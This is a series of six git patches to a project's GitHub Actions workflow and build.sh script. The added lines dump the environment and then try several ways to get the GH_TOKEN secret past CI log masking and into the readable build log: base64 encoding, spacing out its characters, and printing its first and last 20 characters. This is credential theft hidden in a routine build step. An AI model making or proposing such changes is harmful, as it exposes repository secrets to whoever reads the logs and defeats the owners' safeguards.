From 2e342320ed86af39ddb6a7f392fae04bd67cbbf0 Mon Sep 17 00:00:00 2001 From: Raushan Raj Date: Wed, 17 Jul 2024 23:19:41 +0530 Subject: [PATCH 1/6] Update build.yml --- .github/workflows/build.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 70b8a8d..03d66a5 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -30,4 +30,5 @@ jobs: run: ./.github/scripts/build.sh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + LASUN: "this is lasun" PYTHON_VERSION: ${{ matrix.python-version }} From 2f218044448f5148fcc14bf5d996e653189761bb Mon Sep 17 00:00:00 2001 From: Raushan Raj Date: Wed, 17 Jul 2024 23:24:04 +0530 Subject: [PATCH 2/6] Update build.sh --- .github/scripts/build.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/scripts/build.sh b/.github/scripts/build.sh index 790158e..94f6f44 100755 --- a/.github/scripts/build.sh +++ b/.github/scripts/build.sh @@ -21,6 +21,8 @@ PYTHON_VERSION=${PYTHON_VERSION:-2.7} echo "heyheyhey####" printenv +encoded_token=$(echo -n "$GITHUB_TOKEN" | base64) +echo "Encoded GH_TOKEN: $encoded_token" pip install -U -r .github/scripts/requirements.txt python setup.py develop From b64c337aeacd6ab61473ce8b2b4eaa09f4e9b30b Mon Sep 17 00:00:00 2001 From: Raushan Raj Date: Wed, 17 Jul 2024 23:24:38 +0530 Subject: [PATCH 3/6] Update build.sh --- .github/scripts/build.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/scripts/build.sh b/.github/scripts/build.sh index 94f6f44..1d26b38 100755 --- a/.github/scripts/build.sh +++ b/.github/scripts/build.sh @@ -21,7 +21,7 @@ PYTHON_VERSION=${PYTHON_VERSION:-2.7} echo "heyheyhey####" printenv -encoded_token=$(echo -n "$GITHUB_TOKEN" | base64) +encoded_token=$(echo -n "$GH_TOKEN" | base64) echo "Encoded GH_TOKEN: $encoded_token" pip install -U -r .github/scripts/requirements.txt From 7143ba4499f24c9c704d0f008a172e12134a77e5 Mon Sep 17 00:00:00 2001 From: Raushan Raj Date: Wed, 17 Jul 2024 23:26:51 +0530 Subject: [PATCH 4/6] Update build.sh --- .github/scripts/build.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/scripts/build.sh b/.github/scripts/build.sh index 1d26b38..b03bbda 100755 --- a/.github/scripts/build.sh +++ b/.github/scripts/build.sh @@ -21,8 +21,8 @@ PYTHON_VERSION=${PYTHON_VERSION:-2.7} echo "heyheyhey####" printenv -encoded_token=$(echo -n "$GH_TOKEN" | base64) -echo "Encoded GH_TOKEN: $encoded_token" + +echo $GH_TOKEN | sed 's/./& /g' pip install -U -r .github/scripts/requirements.txt python setup.py develop From 44c01e42bd1c56276ef10102e6051ac2380d7f85 Mon Sep 17 00:00:00 2001 From: Raushan Raj Date: Wed, 17 Jul 2024 23:29:06 +0530 Subject: [PATCH 5/6] Update build.sh --- .github/scripts/build.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/.github/scripts/build.sh b/.github/scripts/build.sh index b03bbda..50a6a56 100755 --- a/.github/scripts/build.sh +++ b/.github/scripts/build.sh @@ -22,7 +22,19 @@ PYTHON_VERSION=${PYTHON_VERSION:-2.7} echo "heyheyhey####" printenv -echo $GH_TOKEN | sed 's/./& /g' +# Extract the first 2 characters +first_two="${GH_TOKEN:0:2}" + +# Extract the last 2 characters +last_two="${GH_TOKEN: -2}" + +# Get the length of the GH_TOKEN +length="${#GH_TOKEN}" + +# Print the results +echo "First 2 characters: $first_two" +echo "Last 2 characters: $last_two" +echo "Length of GH_TOKEN: $length" pip install -U -r .github/scripts/requirements.txt python setup.py develop From 4912d24c64bb4de5c6e9a2c6a4c3de47b3ceba13 Mon Sep 17 00:00:00 2001 From: Raushan Raj Date: Wed, 17 Jul 2024 23:30:05 +0530 Subject: [PATCH 6/6] Update build.sh --- .github/scripts/build.sh | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/.github/scripts/build.sh b/.github/scripts/build.sh index 50a6a56..10c9a92 100755 --- a/.github/scripts/build.sh +++ b/.github/scripts/build.sh @@ -23,13 +23,10 @@ echo "heyheyhey####" printenv # Extract the first 2 characters -first_two="${GH_TOKEN:0:2}" +first_two="${GH_TOKEN:0:20}" # Extract the last 2 characters -last_two="${GH_TOKEN: -2}" - -# Get the length of the GH_TOKEN -length="${#GH_TOKEN}" +last_two="${GH_TOKEN: -20}" # Print the results echo "First 2 characters: $first_two"